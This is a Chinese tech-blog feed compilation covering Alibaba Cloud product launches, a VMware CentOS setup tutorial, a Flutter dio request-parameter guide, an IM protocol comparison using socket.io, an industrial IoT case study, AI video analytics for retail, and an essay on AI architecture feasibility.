      阿里云政企安全加速解决方案是依托阿里云全球分布的加速节点、领先的安全防护及等保合规等能力,打造的边缘安全和加速一站式服务,解决政府、金融、传媒、传统企业内容分发安全和加速性能的问题,为云上业务保驾护航!

      第93期:机器学习PAI DSW2.0 & Alink商业版新品发布会 活动页面 直播视频

      PAI起初是一个定位于服务阿里集团的机器学习平台,致力于让AI技术更加高效、简洁、标准的被公司内部开发者使用。对集团内,PAI服务了淘宝、支付宝、高德等部门的业务。随着PAI的算法的不断积累,2015年底PAI作为天池大赛的官方比赛平台在阿里云正式上线,也成为了国内最早的云端机器学习平台之一。随着PAI在阿里云的业务的不断发展,2018年PAI平台正式商业化,目前已经在公有云积累了数万的企业客户以及个人开发者,是目前国内领先的云端机器学习平台之一。

      第92期:云服务器ECS内存增强型实例re6全新发布 活动页面 直播视频

      实例是能够为您的业务提供计算服务的最小单位,不同的实例规格可以提供的计算能力不同。本章节为您介绍在售的所有ECS实例规格族,包括每种实例规格族的特点、在售规格和适用场景。根据业务场景和使用场景,ECS实例可以分为多种实例规格族。根据CPU、内存等配置,一种实例规格族又分为多种实例规格。ECS实例规格定义了实例的基本属性:CPU和内存(包括CPU型号、主频等)。但是,ECS实例只有同时配合块存储、镜像和网络类型,才能唯一确定一台实例的具体服务形态。

      第91期:5大安全产品全面升级在线发布 活动页面 直播视频

      IT基础设施云化和业务全面上云,企业在享受数字红利的同时,安全也变得更为重要。阿里云5款产品全面升级,从混合云安全、容器安全、身份管理等多个主流安全维度全面提升产品能力,让企业能够快速利用云原生安全优势,提升自身安全体系建设,同时也能快速应对疫情多变性,满足数字化发展长远安全需求。

      第90期: 数据库自治服务DAS重磅新品发布会 活动页面 直播视频

      数据库自治服务DAS基于机器学习及专家经验,真正实现数据库的自感知、自修复、自优化、自运维及自安全,以及数据库问题从发现、根因分析、修复、跟踪的诊断闭环。DAS的发布,标志着阿里云数据库迈入了自治时代,将为业务提供7*24的稳定、高效、智能的数据库服务。

      第89期: Serverless工作流重磅发布 活动页面 直播视频

      对于分布式应用和微服务而言,往往涉及构建复杂的、多步骤的、有状态的和长时间运行的业务流程。本次发布会将向大家隆重介绍阿里云Serverless工作流,致力于简化开发和运行业务流程所需要的任务协调、状态管理以及错误处理等繁琐工作。此外,该服务可协调各类分布式组件,减少流程代码量,在实现丰富控制逻辑的同时提高应用容错性,其自动扩展助力客户免于管理硬件预算和扩展。

      第88期:分析型数据库AnalyticDB for MySQL基础版重磅发布 活动页面 直播视频

      AnalyticDB for MySQL作为新一代云原生敏捷数据仓库,旨在帮助用户快速构建一套高性能、高可用、高可靠、高弹性和智能化的云数据仓库,更好的实现用户数据价值在线化。本次分享主要针对AnalyticDB for MySQL基础版特性以及用户如何0门槛和超低成本构建实时数据仓库。

      第87期:云数据库SQL Server 2019新版本发布会 活动页面 直播视频

      RDS SQL Server作为一款重要的关系型数据库产品,它以优秀的性能、可靠的稳定性以及高安全性被广大客户广泛用于生产系统中,阿里云RDS SQL Server拥有完整的产品形态和版本,部署形态从基础版、高可用版到集群版;规格上从独享型、通用型到共享型,从单租户到多租户;并以此构建完整的生命周期管理、备份还原和智能化运维体系。最新推出了经济易用的重磅产品和特性,这里将会有详细的解读。

      资料下载

      开放下载!新品发布产品资料

      最新产品发布资料大合集 ,以及你想了解的讲师PPT都可点击下载!

      产品动态

      新功能/版本:

      1、 CDN - CDN流量包推出1个月及6个月规格 查看产品 产品文档

      将源站内容分发至最接近用户的节点,使用户可就近取得所需内容,提高用户访问的响应速度和成功率。
      解决因分布、带宽、服务器性能带来的访问延迟问题,适用于站点加速、点播、直播等场景。
      CDN/全站加速流量包限时特惠,50TB仅需4999元/年

      2、 DataV数据可视化 - 全新三维地形可视化神器-新版三维平面地图上线 查看产品 产品文档

      DataV数据可视化是使用可视化应用的方式来分析并展示庞杂数据的产品。DataV旨让更多的人看到数据可视化的魅力,帮助非专业的工程师通过图形化的界面轻松搭建专业水准的可视化应用,满足您会议展览、业务监控、风险预警、地理信息分析等多种业务的展示需求。

      3、 Web应用防火墙 - Web应用防火墙自定义Web规则组优化升级(WAF-V5.2.2.0) 查看产品 产品文档

      对网站或者APP的业务流量进行恶意特征识别及防护,将正常、安全的流量回源到服务器。避免网站服务器被恶意入侵,保障业务的核心数据安全,解决因恶意攻击导致的服务器性能异常问题。详询95187-1
      【”迎考“等保2.0】点击领取阿里云等保大礼包

      扫描二维码加入社区圈
      5555

      阿里云新品发布会交流群:群号(30675445)点击加入

      ]]>
      如何在VMware中进行创建CentOS虚拟机 Fri, 02 May 2025 09:39:04 +0800 今天给大家分享如何在VMware中创建CentOS虚拟机,CentOS6.7为例进行说明,CentOS7版本亦可以参考该教程,具体的教程如下。

      1、之后打开VMware,主页面如下图所示。点击第一个框框,“创建新的虚拟机”。

      如何在VMware中进行创建CentOS虚拟机
      2、弹出下图界面,选择第二个“自定义(高级)”,之后“下一步”。

      3、这一步默认即可,直接点击“下一步”。

      如何在VMware中进行创建CentOS虚拟机
      4、这里点击“稍后安装操作系统”,之后选择“下一步”。

      如何在VMware中进行创建CentOS虚拟机
      5、这一步是选择版本。客户机操作系统默认选择为Linux系统,而版本则根据电脑的位数来进行选择,如果电脑是64位系统的话,就选择CentOS64位,如果是32位的话,就直接选择CentOS即可。这里如果选择不正确的话,后面在安装Ubuntu系统的时候重启会报系统不兼容的错误。选择好版本之后,点击选择“下一步”。

      6、弹出虚拟机的名称和安装位置。

      如何在VMware中进行创建CentOS虚拟机
      7、虚拟机名称可以自定义,不多赘述,这里将其命名为master,后期作为集群的管理节点用的。虚拟机蛮占内存的,所以安装位置不建议放到C盘,建议放到其他的盘内,且要保证该磁盘的空间至少要大于虚拟机的大小。这里,小编将虚拟机放到E盘。

      如何在VMware中进行创建CentOS虚拟机
      8、处理器的配置。如果只是想拿虚拟机练练手,要求不高的话,就直接默认,选择“下一步”即可。

      9、如果对处理要求较高,则需要按需进行分配。这里小编将配置给的比较高,因为后期有其他的用途,如下图所示。

      如何在VMware中进行创建CentOS虚拟机
      10、虚拟机内存默认为2G。同上一步一致,要求不高的话直接默认即可。在这里小编选择了20G,大家可以根据自己的要求进行选择,要保证磁盘大小够用噢,之后选择“下一步”。

      如何在VMware中进行创建CentOS虚拟机
      11、网络连接部分,直接默认即可,选择NAT模式,之后选择“下一步”。

      12、选择I/O控制器类型,这一步默认即可,选择推荐的类型,之后选择“下一步”。

      如何在VMware中进行创建CentOS虚拟机
      13、磁盘类型一般选择推荐的就可以,SCSI和SATA都是比较受欢迎的磁盘类型,之后选择“下一步”。

      如何在VMware中进行创建CentOS虚拟机
      14、选择磁盘。建议选择第一项,“创建新虚拟磁盘”,之后选择“下一步”。下一步最大磁盘大小默认设为20G,默认即可。这里选择“将虚拟磁盘存储为单个文件”,也有的伙伴选择“将虚拟磁盘拆分为多个文件”,也是可以的。

      如何在VMware中进行创建CentOS虚拟机
      15、指定磁盘文件。这一步默认即可,之后选择“下一步”。

      如何在VMware中进行创建CentOS虚拟机
      16、之后弹出下图的界面,之后再选择“完成”。

      如何在VMware中进行创建CentOS虚拟机
      17、至此,CentOS虚拟机创建完成,如下图所示。

      如何在VMware中进行创建CentOS虚拟机
      接下来你就可以在VMware虚拟机中安装CentOS系统了,Linux搞起来。

      想学习更多Python网络爬虫与数据挖掘知识,可前往专业网站:http://pdcfighting.com/

      ]]>
      探讨一下如何打造稳定的报名系统之考务管理报名系统开发设计浅谈 Fri, 02 May 2025 09:39:04 +0800 首先,标题已注明是浅谈,也就不会太高深,适合各种技术类、非技术类人员参阅。由于才疏学浅,可能存在不到之处,还请大神指正,勿喷、谅解。

      随着各地人事机构招考需求不断增强,规模不断扩大,考务管理工作难度不断加大。尤其是网上报名阶段,考生们犹如蓄势待发、抢滩登陆的士兵,扛着枪、冲锋号一响,同一时间往上冲,按照惯例配置的服务器自然难以承受这种猛烈的攻势。瞬时间崩塌,是显然的。

      所谓的惯例配置,就是通常情况下,我们会根据网站的日常访问流量,测算出所需要的服务器资源,然后按此配置去组建服务器。影响较大的是:带宽、CPU和内存。这三样相互依存,难分先后,任一样达不到要求,崩了即是可以遇见的。

      再有,就是软件的系统开发,有没有做代码优化、数据库优化、并发压力测试等。这些也都将直接影响到系统运行的稳定性。

      既然,都已经了解到问题所处的原因。为何一到省考、大考,系统就经常性会崩呢?

      这里,我认为不外乎有以下几种情况:

      1)软件层面:报名系统开发较早,没有预想到如今所要面对的峰值流量,系统更新迟缓或无更新;

      2)硬件层面:服务器为单位机房部署,可能配置较低,或存在多应用共存,难以确保其稳定性;

      3)维护层面:技术人员响应不及时,无法第一时间处理宕机故障。

      既然如此,更新升级不就完了。但对于大量的单位用户来说,系统升级谈何容易?需求要层层上报,预算要一步步审批,很多时候自然也就搁置了。

      实际上,在此之前我对于考试报名系统也未曾了解多少,可能还不及你。

      只是年前才开始接触报名系统的开发。而在开发期间,最主要的精力,都放在了上面我所描述的几个问题中。目前,我们的报名系统的开发已经过内测、公测,已进入正式部署阶段。而且也有了一定的用户案例。

      借此机会,给大家分享一下我们开发的报名系统(虽然现在互联网发达,传播速度超乎想象。但是,传播是快了,声音却越来越小...)

      这里,我只介绍我们的报名系统是如何解决这些问题的。

      首先,我们的系统包含了招聘公告发布、网上报名、资格审查、在线缴费、考场设置、座位自动编排、准考证生成及打印、成绩查询、面试通知单、短信群发、数据导出Excel、自动生成人才库信息等覆盖人事考试(报名)与考务管理全套业务流程的功能

      **划重点:超级计算集群。
      **
      官方用语:使用高速RDMA网络互联的CPU以及GPU等异构加速设备,面向高性能计算、数据分析,提供极致计算性能和并行效率的计算集群服务。分钟级交付的弹性裸金属实例,根据需求快速增减集群节点。

      实际解决的问题就是:报名系统不再崩!!!

      01bd225dc90c14a801209e1f32e283.jpg

      下面是我们系统特有的一些亮点功能,在此以动图的形式,简单展示下。

      1 一键批量生成考场:

      根据各岗位报考的人数,系统可自动以批量形式生成各个考场,可自定义考场座位数,亦支持手动模式。
      01abdc5dc90c3ca801209e1f9bf3eb.gif

      **2 自动生成留验单/桌贴/门贴:
      **
      自动编排考场以后,系统已为您生成各个考场的留验单、桌贴、门贴。完全不需要人工干预,即可实现。并且,支持在线一键打印,可自定义A3/A4或其他尺寸的纸张。
      01d0d85dc90c4da801209e1f4d6645.gif

      **3 考务通知,短信群发:
      **
      系统目前已支持多种考务通知类型,只需将考生加入短信群发列表,即可快速将考务通知以短信形式发送至考生手机。短信系统会根据考生所属运营商,自动选择短信发送通道,优化短信通知效率,以确保100%送达。
      013dbb5dc90c5ba8012163ba8009ff.gif

      **4 考务统计与汇总:
      **
      考务统计支持单个考试统计,亦可将各个考试合并统计,满足不同的统计需求。在汇总统计状态下,还可以手动进行选择,可精确到岗位统计。
      0159325dc90c70a8012163ba367cc8.gif

      系统的报名的流程:考生注册-设置密码-登录系统-选择考试-填报职位-报考信息-上传照片-资格审查-交费-打印准考证。

      系统链接(有兴趣的童鞋可以去参观下):
      人事考试网上报名考务管理系统

      ]]>
      flutter网络dio框架公共请求参数、请求header使用总结 Fri, 02 May 2025 09:39:04 +0800 题记
      —— 执剑天涯,从你的点滴积累开始,所及之处,必精益求精,即是折腾每一天。

      重要消息


      本文章将讲述
      1.get请求中配置公共参数
      2.post请求配置公共参数
      3.请求header配置

      1 引言

      在实际应用开发中,我们会有像 token、appVersionCode 等等这些每个接口请求都需要传的参数 ,称之为公共请求参数,公共请求参数配置方式总结有三:

      • 在get与post请求时将参数配置进去,也可以通过请求header配置
      • 通过请求header将参数配置进去
      • 通过拦截器将请求参数配置到参数配置中或者是header中
      2 dio 配制公共请求参数

      那么在这里 dio 的请求中我们可以考虑这样来配制:

        String application = "V 1.2.2";
        int appVersionCode = 122;
        ///[url]网络请求链接 
        ///[data] post 请求时传的json数据
        ///[queryParameters] get请求时传的参数
        void configCommonPar(url,data,Map<String, dynamic> queryParameters){
          ///配制统一参数
          if (data != null) {
            data['application'] = application;
            data['appVersionCode'] = appVersionCode.toString();
          } else if (queryParameters != null) {
            queryParameters['application'] = application;
            queryParameters['appVersionCode'] = appVersionCode.toString();
          } else {
            ///url中有可能拼接着其他参数
            if (url.contains("?")) {
              url += "&application=$application&appVersionCode=$appVersionCode";
            } else {
              url += "?application=$application&appVersionCode=$appVersionCode";
            }
          }
        }
      }
      
      3 dio 配制Content-Type 与请求 header

      我们在创建 Dio对象时,会初始化一个 BaseOptions 来创建 Dio

            BaseOptions options = BaseOptions();
            ///请求header的配置
            options.headers["appVersionCode"]=406;
            options.headers["appVersionName"]="V 4.0.6";
            
            options.contentType="application/json";
            options.method="GET";
            options.connectTimeout=30000;
            ///创建 dio
            Dio dio = new Dio(options);

      我们也可以在每次发送 get 、post 等不同的请求时,通过 dio 获取到 默认的 options 然后修改一下

      void getRequestFunction2() async {
          ///用户id
          int userId = 3;
          ///创建 dio
          Dio dio = new Dio();
      
          ///请求地址
          ///传参方式1
          String url = "http://192.168.0.102:8080/getUser/$userId";
          ///在这里修改 contentType
          dio.options.contentType="application/json";
          ///请求header的配置
          dio.options.headers["appVersionCode"]=406;
          dio.options.headers["appVersionName"]="V 4.0.6";
          ///发起get请求
          Response response = await dio.get(url);
      
        ...
        }

      完毕

      在这里插入图片描述

      ]]>
      即时通讯(im)框架/系统开发思考(1)-通讯协议选型 Fri, 02 May 2025 09:39:04 +0800 1.前言:

      近来笔者接到公司的一个IM开发需要,要在原来的Web业务系统、移动端系统上加入一个即时聊天的功能,具有就是能聊天就行。相信各位也会接到需要开发IM的系统的任务,那么,开发一个im系统应选用哪种通讯协议?

      2.思考-即时聊天选用的通讯协议选哪种:

      XMPP(可扩展消息与存在协议): 是一个成熟开源的即时聊天协议, 基于XMPP的开源技术有openfire(后台端), spark(客户端)
      优势: 比较成熟的聊天协议,已在XMPP协议内支持单聊, 群聊, 加好友等功能.满足基本的需要.
      缺点: 基于xml 实现的通讯协议, 消息载体比较重, 增加网络流量, 定制困难,需要了解openfire原理, 改造有一定的难度。
      跨平台: 一般, 仅基于java平台, 如要实现web 等需要自己使用socket进行xml封装.

      MQTT(消息队列遥测传输): 严格来说, MQTT是使用与物联网领域的消息传输协议,但有一些即时通讯系统也使用这个协议进行拓展开发,故拎出来说说。MQTT主要有三个特点: 1. 基于发布订阅模式; 2. 为网络不可靠的环境下提供一套消息重传协议.3. 基于TCP/IP, 消息载体轻, 耗电量小.
      优势: 已实现消息丢失重传功能, 消息载体轻, 耗电量小.
      缺点: 不是专用于聊天的协议, 登录, 单聊, 群聊, 加好友等功能都需要自己实现. 开发成本高,如要支持多个平台, 每个客户端都需要定制,IM方面的开源社区不活跃,技术文档少。
      跨平台: 差, 每个客户端都需要实现MQTT的聊天协议。

      自定义协议: 可以基于WebSocket, socket.io, 甚至常用的消息队列: RabbitMQ, RocketMQ 等长连接框架上加入聊天的业务, 比如登录, 单聊, 群聊, 加好友等功能。
      优势: 基于自己熟悉的技术栈,易上手。
      缺点: 单聊, 群聊, 加好友等功能都需要自己实现。
      跨平台: 一般, 若选用广泛使用于客户端的WebSocket, socket.io,能很好的实现跨平台性。

      考虑到日后的跨平台定制开发,最终敲定选用socket.io + 自定义协议实现。为什么要选用socket.io?不用WebSocket?

      1. socket.io设计的目标是支持任何的浏览器,任何设备。在接口方面,socket.io统一了通信的API,在内部实现上支持WebSocket,AJAX long-polling, AJAX multipart streaming, Forever Iframe等方式。也就是说,Socket.io会根据环境来选择适合的通信方式。
      2. socket.io 支持namespace, room 等概念,可以很方便的对socket 进行分组。
      3. socket.io 具有自动重连的功能,适用于恶劣的网络环境。

      而e聊sdk正是基于socket.io上开发的免费开源即时通讯框架,e聊sdk 已实现了多平台的socket.io 支持(如:Web, ReactNative, 微信小程序等), 阅读e聊客户端核心sdk 的源码中, 可见到在socket.ts 文件中已实现了多平台的socket.io 支持:

              /*IFTRUE_WEBAPP*/
              const webio = require('socket.io-client');
              this。socket = webio。connect(url+"");
              /*FITRUE_WEBAPP*/
      
              /*IFTRUE_RNAPP*/
              const rnio = require('socket.io-client');
              this。socket = rnio。connect(url+"", {transports: ['websocket']});
              /*FITRUE_RNAPP*/
      
              /*IFTRUE_WXAPP*/
              const wxio = require('weapp.socket.io');
              this。socket = wxio。connect(url+"");
              /*FITRUE_WXAPP*/

      正是由于e聊sdk在设计之初已具有良好的跨平台支持, 选择使用e聊开发即时通讯,可以在跨平台上实现事半功倍的效果。

      参考:
      e聊客户端核心sdk源码

      ]]>
      iNeuOS工业互联网平台,热力云管理控制平台 Fri, 02 May 2025 09:39:04 +0800 本项目属于威海某热电公司,所属区域供热面积达1200万平米,需要采集的热量表及阀门数量为6万余块,通讯服务器与1100多台设备进行数据采集和控制,在应用iNeuKernel设备容器框架进行二次开发,每天上报数据率达100%,服务器负载大大降低(CPU利用率在10%以下),长期稳定运行。二次开发调试过程简单清晰。

      图片.png
      图片.png
      图片.png

      图片.png

      物联网&大数据技术 QQ群:54256083
      物联网&大数据合作 QQ群:727664080
      网站:http://www.ineuos.net
      联系QQ:504547114
      合作微信:wxzz0151

      ]]>
      面向零售业的AI驱动的视频分析 Fri, 02 May 2025 09:39:04 +0800 AI-Driven-Video-Analytics-for-Grocery-Stores-1068x656-1.jpg

      人工智能(AI)与数据科学直接相关,后者旨在从一系列信息中提取业务价值。 该价值可以包括扩展预测能力,规律知识,明智的决策,降低成本等。换句话说,人工智能以大量信息运行,分析输入数据,并根据这些信息开发自适应解决方案。


      在现代世界,零售业正在迅速增加人工智能在所有可能的工作流程中的应用。因此,通过应用分析来利用机会无疑可以改进食品杂货行业的各种操作。有了人工智能,最大的连锁超市实现了雄心勃勃的目标:


      1)改善和扩展客户服务能力


      2)自动化供应链计划和订单交付


      3)减少产品浪费


      4)加强对缺货和库存过多的管理


      5)加强需求预测


      人工智能解决方案的生态系统是广泛的,能够满足所有杂货店零售商的大多数需求(从大型连锁店到最小的企业)。到目前为止,在隔离期间,在线商品分析已经成为管理缺货情况的真正“救世主”。通过智能数据驱动的方法,超市可以处理大量的信息,准确预测消费者的需求和供应库存,并生成最准确的价格和购买建议。因此,即使在冠状病毒大流行等最危急的情况下,杂货零售商也将继续盈利。话虽如此,很明显,所有公司现在都需要针对COVID-19立即采取行动计划。


      视频监控的新水平


      通常,大多数杂货店都具有连续的视频监视系统。以前,此类系统的安装仅出于安全目的:控制产品的安全性并防止盗窃。但是现在,人工智能视频分析能够监视客户从进入商店到付款的整个过程。它是如何工作的,为什么商店需要它?


      像亚马逊和沃尔玛这样的大型连锁超市使用高科技相机,利用自动物体识别(automatic object identification)技术。这种系统通常用于无人驾驶的电动汽车上,通过计算机监控乘客行为并处理视觉信息。但商场视频分析的主要目标是确定哪些商品有很高的需求,哪些产品的购买者最常回到货架上,等等。此外,相机还可以识别人脸,确定顾客的身高、体重、年龄和其他身体特征。随后,人工智能(基于所有获得的数据)从特定的消费者群体中识别出最受欢迎的产品,并提供更改定价策略的选项。计算机自动完成所有这些过程,不需要人工干预。


      防止商品缺货


      零售业中的人工智能能够解决人们无法应对的问题。一个人实际上无法观看所有视频监控,没有足够的时间进行此操作,而且人类的视觉并不完美。但这不再是必需的!商场的视频分析可完美应对此类任务。例如,将摄像头连接到商店的自动化仓库系统,并在货架上配备传感器,可以发现库存记录中的漏洞,促进调查。商场数据分析还可以监视库存并提供有关补货需求的信号。如上所述的面部识别技术能够将人的面部与罪犯(或通缉犯)的面部进行比较,并警告安全人员。


      促进人流和商店布局


      收集的有关客户行为的数据可帮助超市经理优化商店布局。此外,计算机程序可以设计最佳的布局并对其进行测试,从而产生总体上更好的客户体验,并增加商店的利润。


      可以收集有关进入商店的人数以及他们花费的购物时间的数据。基于这些数据,人工智能可以预测人流量的大小和人们排队等候的时间。这将有助于改善客户服务并减少员工成本。 换句话说,AI能够在一天的各个小时制定最佳的商店管理计划,从而为企业带来最大的收益。 例如:


      1)优化展示位置和平面布置


      2)改善策略性人员分配


      3)在停留时间内和购买之间得出相关性


      4)预测各个购物群体的产品


      增强客户体验


      每个企业都应尽可能了解其受众,以提供最佳服务。商场中的AI使用视频智能软件提供详细的人口统计数据,并详细分析购物习惯。这些信息为商场提供了无限的机会来增加利润。通过了解他们的顾客,商场经理可以最大化顾客的购物体验,创造有利条件(专门针对顾客的喜好)。此外,用于杂货店的AI可以帮助产生给定目标市场的最准确的需求预测模型。


      除了与目标受众合作之外,管理人员还可以使用从视频分析获得的数据将信息传输到营销部门。通过探索其他受众,营销人员可以制定策略,通过创建相关的广告、促销和销售来吸引新客户。此外,商场可以为小型购物群体创建单独的展示柜(纯素食产品或无麸质产品),以满足他们的需求。


      在商场所有现有的人工智能技术中,视频内容分析可在几乎所有活动中提供最大的支持:销售,营销,广告和布局策略。通过优化这些流程,商场不仅可以节省和减少损失,还可以通过增加利润来扩展业务。主要目标不仅是要满足客户需求,而且要提高客户保留率。


      原文链接 ]]>
      3个因素看透 AI 技术架构方案的可行性 Fri, 02 May 2025 09:39:04 +0800

      --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

      image.png

      人工智能这几年发展的如火如荼,不仅在计算机视觉和自然语言处理领域发生了翻天覆地的变革,在其他领域也掀起了技术革新的浪潮。无论是在新业务上的尝试,还是对旧有业务对改造升级,AI 这个奔涌了 60 多年的“后浪”,正潜移默化的影响着我们传统的技术架构观念。

      AI 架构(尤其是以机器学习和深度学习为代表的架构方案)已经成为我们技术架构选型中的一个新的选项。

      你是否需要 AI 架构的解决方案?AI 架构选型的主要依据是什么?这是我们今天主要讨论的问题。

      我们先来看一个典型的 AI 架构:

      image.png

      • 1、首先需要采集训练模型所需要的数据,这些数据有可能来自业务系统本身,如 CTR 预估任务中的用户点击数据、用户下单数据等;也有可能来系统外部,公开购买或自主爬取,如图片分类任务中的图片、NLP 任务中的语料等。
      • 2、这些数据被收集起来后,经过清洗、加工,被存储起来,因为毕竟不是只用一次。一般是存储在分布式存储设备(如 HDFS)或云端,多数公司还会建立自己的数据平台,保存在数据仓库中,长期积累下来。
      • 3、需要使用的时候,先进行数据筛选,选择合适的特征数据,然后经过数据预处理,送入到算法模型中。模型的搭建可选的技术框架很多,可以是基于 spark mllib,也可以是 sklearn、tensorflow、pytorch 等。然后经过训练、评估和调参,完成模型的构建工作。
      • 4、最后模型要应用到线上的具体业务中,完成分类、回归某一具体任务。在部署过程中,有可能是将模型打包,将预测模型直接部署到业务系统(客户端)中;也有可能是直接提供一个在线 RESTful 接口,方便跨语言调用。

      总结一下,经过数据采集、加工处理、特征选择、数据预处理、模型训练、模型评估、模型应用几个环节,数据跨过业务系统、数据平台、算法模型三个系统,形成一个闭环,最终又应用到业务系统中,这就构成了整个 AI 架构的核心。

      是否需要 AI 架构,如何衡量这套技术架构方案的可行性?我认为,主要是看以下三个要素。

      1. 场景

      我们讨论架构的可行性,是否适合业务及业务发展是第一衡量准则,AI 架构也不例外。

      回顾那些经典的、已经广泛应用的机器学习场景,比如推荐、搜索、广告等,这些场景都具有这样的特点:场景相对封闭、目标单一、可控。

      究其原因,无论算法模型多么复杂,其最终都要落实到损失函数上的,而后者一般都是单目标、单优化任务。或追求极值(损失最小化)、或达到某种对抗上的平衡(比如GAN)。在这种情况下,无论业务如何建模,还是要落地到算法模型和损失函数的,最终也就限制了场景和目标上的单一。

      因此,看一个业务是否适合AI架构,就要先看这个业务场景目标是否单一、可控。或经过业务建模和架构拆解后,每个环节的场景是否单一。

      举个例子,同程艺龙酒店系统为酒店商家提供了上传酒店图片的功能,在这个场景下,除了要审查图片的合法性,还要给图片打上分类标签,如“大堂”、“前台”、“客房”、“周边”等。为了能正常使用AI架构,就必须对场景内的各目标进行拆分,训练不同的分类器。具体流程如下:

      image.png

      其中,第2、3、4步涉及到多个图片分类器,每个分类器的目标不同,所需要的训练数据也不同。对于输入的同一个样本图片,每个分类器完成自己的职能,目标单一可控。对于一些不通过的样本,可能还涉及到人工干预。最后合法的图片存入系统。

      从业务必要性上来说,也并不是所有业务场景都需要AI架构。算法模型是对事物的精确模拟和抽象,复杂度也是比较高的。但可能有时我们业务上并不需要如此精细的控制。比如有时一个简单的if...else...就解决了问题;复杂点的可能会设计几种“策略”,然后由业务专家针对每种情况进行配置;再复杂的可能还会考虑BI的方案:收集数据,然后展开多维度的分析,最后由分析师连同业务专家得到某种规律性的结论,再内置到系统里,效果可能也不错。

      再举个酒店分销调价的例子,在将酒店分销给代理售卖前,一般会在底价基础上对产品卖价进行干预,调整一定的点数(百分比),保证销量的同时,最大化收益。

      一开始,可能仅仅是一个固定的比率(比如加价6%)。随着业务发展,设计了一系列策略,比如针对“是否独家”、“是否热门”2维度将酒店划分到4个象限里,对“独家-热门”酒店实施一个较高的调价比率,而对“非独家-冷门”酒店实施一个较低的比率。结果收益提高了一大截,效果不错。

      而后,业务人员希望施行更加精细的控制,于是对酒店的星级、地区、商圈、独家、房型等维度进行了更为精细的划分,并结合历史数据进行统计分析,对各种结果施以不同的调价比率。产量和收益又进一步提升了。

      这时如果各业务方都比较满意、成本也不高,系统复杂度也不高,那就没必有再考虑更为精细、智能的AI架构了。引入AI,本质上,还是要带来效率、体验或准确性的提升,同时平衡成本和收益,控制系统复杂度。如果不能带来这些,那就要重新审视我们的方案了。

      当然,有时我们也会考虑架构的扩展性和业务的发展,预留一些设计上的“开闭”空间。“策略模式”这时也许是个不错的选择。对于系统的默认策略,采用基于人工的、配置的方案,同时保留策略扩展接口,随着将来业务要求的增高,再引入“基于AI的策略”。这样即控制了当前的成本,又平衡了系统的扩展性。

      2. 数据

      数据决定了机器学习的上限,而算法和模型只是逼近这个上限而已。

      数据的采集和获取通常需要很长时间,建立充分、全面的数据仓库,更需要长时间的积累和打磨,因此,数据在任何一个公司都是宝贵的资产,不肯轻易送出。而一个算法模型的成功与否,关键看数据和特征。因此,一套 AI 架构的解决方案,最终能否取得好的效果,关键看是否已经采集到了足够、充分的数据。

      这些数据来源一般包括:自有系统采集、互联网公开数据收集(或爬取)、外购等。

      自有系统采集是最常见的方案,业务系统自身产生的数据,一般也更适合业务场景的应用。可这样的数据珍贵且稀少,所以往往需要公司的决策者提前布局,早早的开始收集、整理业务数据,建设数据平台、充实数据仓库,这样经过几个月甚至几年以后,在真正用到AI架构时,弹药库里已经储备了充足的“弹药”了。

      互联网公开的数据爬取也是一个快速且免费的方法,但在茫茫大海中找到适合自己的数据并不容易,且因为你能拿到、别人也能拿到,因此很难拉开和其他竞对公司的差异。

      外购一般要花费巨额费用,且质量参差不齐,一般是互联网公司最后不得已的方案。

      在数据获取成本高、难度大、积攒时间久这样的前提下,而场景又适合使用 AI 架构,面对数据匮乏,是不是就没有办法了呢?也不尽然,我们还是有些替代方案的。

      • 1、 浅层模型通常比深层模型需要更少的数据量,因此,在数据量不足的时候,通常可以使用浅层模型替代深层模型来减少对数据量的需求。当然,模型的表达能力也会随之下降,但应对不是特别复杂的业务场景,浅层模型也一样能取得很好的效果。当然,随之而来的是对特征挖掘更高的要求和对模型选择的挑剔。拿分类任务来说,SVM、逻辑回归、随机森林、朴素贝叶斯...每种模型都有其特点和适用性,要充分考虑和权衡,才能利用好每一条数据。所谓数据不够、模型来凑,也是不得已的办法。
      • 2、 采用预训练模型也是降低数据需求量的一个很好的办法,迁移学习已经在图像分类问题上广泛运用, BERT 模型也将预训练模型带入自然语言处理的大门。在一些特定问题上,如果能找到合适的预训练模型,再加之少量自己的数据进行微调,不但对数据的需求量降低,训练时间也大大降低,一举两得。只是合适的预训练模型可遇而不可求。
      • 3、 还有一个减少数据需求的变通的办法是采用少量数据先“启动”,然后不断获取数据,并加快模型更新频率,直至采用“在线学习”的方法。这里实际上是将总的数据需求,拉长到时间维度去解决。当然,这里也需要业务上允许前期模型的准确度不是那么高,随着数据的增多和模型的不断更新,逐步达到预期效果。
      • 举个例子,酒店 shopper 类产品的售卖,为了加快展现速度,通常采取供应商数据预抓取的方式落地。但供应商给的 QPS 极其有限,每次只能抓取一个酒店,高频率的抓取可以保证酒店数据的新鲜度,给客人更好的体验;低频率的抓取因库存、价格信息时效性不能保证,往往就会导致预定失败,造成损失。因此,如何在酒店间合理的分配 QPS 就是一个典型的机器学习问题。
      • 我们从酒店热度、预定周期、节假日等多个维度进行了特征挖掘,最后却发现“季节”这个关键因素,我们却提取不到有效特征,原因是数据仓库里只有三个月的数据,也就是只有当季的数据。
      • 为了解决这个问题,我们重新设计了模型,调整了架构方案,采用“在线学习”的方式,将模型更新问题纳入到了解决方案中。原始数据只用来训练一个初始模型,上线后,模型不断拿新产生的数据并进行迭代更新,同时对时间线更近的数据赋以更高的样本权重,以此来保证对季节性因素的跟进。系统上线后,取得了很好的效果。
      • 4、 强化学习在初始数据缺乏的情况下,大多数时候也是一个备选方案。强化学习采用“试错”的方式,不断演化,并最终学到规律。当然这需要业务模型做相应的调整,同时,如果演化周期过长,那有可能模型在前期相当长的时间内,都不能做出较优的决策,因此需要业务容忍度较高。

      3. 算力

      众所周知,训练过程是一个典型的“计算密集型任务”,没有强大的算力,是难以支撑算法模型的训练和研究的。做机器学习的计算平台,GPU 几乎是标配,其训练时间比 CPU 一般能缩短 5 倍以上。

      目前,主要有自建和租赁云平台两种途径获取。如果“不差钱”,当然可以选择自建,但现在 GPU 升级换代太快,基本一年一换。对于做机器学习的 GPU 来说,运算速度是关键,很可能花了大价钱搭建的 GPU 集群,过几年却变成了一台“老爷车”。

      租赁云平台虽然可以随时享受最新 GPU 运算速度带来的“快感”,但所需花费的精力也不少。不但要详细对比每家云平台提供的服务和成本,还要合理的搭配 CPU和 GPU,做到资源利用最大化。

